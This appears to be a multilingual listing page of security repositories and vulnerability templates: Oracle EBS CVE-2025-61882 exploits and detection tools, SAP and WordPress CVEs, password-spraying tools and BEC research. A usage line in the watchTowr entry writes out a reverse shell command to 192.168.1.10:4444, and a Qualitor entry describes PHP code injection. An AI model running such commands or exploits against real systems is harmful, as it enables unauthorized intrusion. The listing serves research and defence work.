CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 이 저장소에는 ZeroZenX의 연구 산출물과 CVE-2025-61882에 대한 완전히 작동하는 익스플로잇 구현이 포함되어 있으며, 승인된 환경에서만 방어 연구, 침해 대응, 탐지 엔지니어링 및 패치 검증을 지원하기 위해 제공됩니다. 중요: 이 코드는 통제된 실험실 환경의 보안 전문가, 명시적 승인을 받은 침투 테스터, 그리고 완화 조치를 검증해야 하는 공급업체/운영자만 사용하도록 고안되었습니다. 소유하지 않은 프로덕션 시스템 또는 시스템에 대한 무단 사...

trappsec

trappsec trappsec — это фреймворк с открытым исходным кодом, который помогает разработчикам выявлять атакующих, исследующих бизнес-логику API. Встраивая реалистичные маршруты-приманки и поля-ловушки, которые сложно отличить от реальных конструкций API, злоумышленники подталкиваются к...

CVE-2020-6308

CVE-2020-6308 Эксплойт-скрипт для SAP Business Objects SSRF Это простой скрипт на Golang для автоматизации эксплуатации CVE-2020-6308. Оригинальный репозиторий на Github не содержал автоматизации https://github.com/InitRoot/CVE-2020-6308-PoC, спасибо @InitRoot, поэтому этот скрипт был создан, что...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', 概念実証（POC） 「gridValoresPopHidden」パラメータにPHPコードを入れてURLにアクセスするだけです。 調査 https://www.linkedin.com/in/xvinicius/...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

msprobe

msprobe О программе Установка Использование Примеры Скоро Благодарности О программе Поиск всех локальных решений Microsoft для атак password spraying и перебора. Инструмент использует список распространённых поддоменов, связанных с вашим целевым корневым доменом, чтобы попытаться обнаружить...

riscy-business

riscy-business 기사:RISC-Y Business: Raging against the reduced machine. 사전 요구 사항 C++ Clang Compiler for Windows 16.0.5 구성 요소가 포함된 Visual Studio 2022 CMake 3.26 이전 버전도 작동할 수 있지만 권장되지 않음 riscvm 이 폴더에는 VM 호스트rv64i 인터프리터가 포함되어 있습니다. 빌드하려면: cd riscvm cmake -B build -T ClangCL cmake --build build --conf...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 방금 새로운 취약점 CVE-2025-61884를 공개했습니다. 해당 취약점의 탐지 스크립트는 이 저장소에서 찾을 수 있으며 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550입니다. Oracle 보안 권고에서 인용: 이 보안 경보는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용될 수 있습니다...

Awesome-BEC

Awesome-BEC 비즈니스 이메일 침해BEC 조사를 위한 공격 및 방어 정보 저장소 Office365/AzureAD ATT&CK O365 ATT&CK Azure Microsoft Azure 위협 연구 매트릭스 Microsoft 365 라이선싱 Microsoft 포털 Azure 앱 ID Microsoft 자사 앱 ID 및 Graph 권한 널리 알려진 Microsoft 클라이언트 ID 공격/방어 연구 작성자| 링크 ---|--- Lina Lau| Office 365 및 Active Directory 백도어 - Golden SA...

osi.ig

Open Source Information Instagram so recently ig started sending html response insted of json to "unknown" requests. i REALLY wanted this to work without login since i don't use ig anymore, tried few ways i knew to get it working without login but it didn't work :/ anyways since lot of people are...

SAP Web Application Server 6.x/7.0 - Open Redirect

frameset.htm in the BSP runtime in SAP Web Application Server WAS 6.10 through 7.00 allows remote attackers to log users out and redirect them to arbitrary web sites via a close command in the sap-sessioncmd parameter and a URL in the sap-exiturl parameter. id: CVE-2005-3634 info: name: SAP Web...

Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect

The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...

Oracle Business Intelligence - Path Traversal

Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher formerly XML Publisher component of Oracle Fusion Middleware subcomponent: BI Publisher Security. id: CVE-2019-2588 info: name: Oracle Business Intelligence - Path...

PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials. id: CVE-2023-4115 info: name: PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting author:...

Oracle Business Intelligence Publisher - XML External Entity Injection

Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publishe...

Dyn Business Panel Plugin <= 1.0.0 - Cross-Site Scripting

Dyn Business Panel WordPress plugin = 1.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter in output, letting attackers execute scripts in the context of high privilege users, exploit requires victim to click a malicious link. id: CVE-2024-130...

CVE-2024-30896

CVE-2024-30896 Краткое описание Ошибка бизнес-логики в influxdb позволяет пользователям, владеющим действительным токеном allAccess, повышать свои привилегии до уровня оператора путем перечисления текущих токенов авторизации. Сценарий Злоумышленником может быть пользователь, которому администрато...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-53580

CVE-2025-53580 WordPress Simple Business Directory Pro 플러그인 15.6.9는 높은 우선순위의 권한 상승에 취약합니다 CVE-2025-53580 Simple Business Directory Pro — 잘못된 권한 할당 → 비밀번호 재설정 → 관리자 장악 / | |// / / / | | / | / \ / \ | | | \ /| | / | | /| /| | | | | / -----/ | |/ ----- \ \ / | | / / / //// //// / ❶ 취약점...

CVE-2024-4443-Poc

CVE-2024-4443-Poc CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress execute \business-directory-plugin\includes\helpers\class-listing-search.php:88 WPBDPListingSearch-traversetree \business-directory-plugin\includes\helpers\class-listing-search.php:185...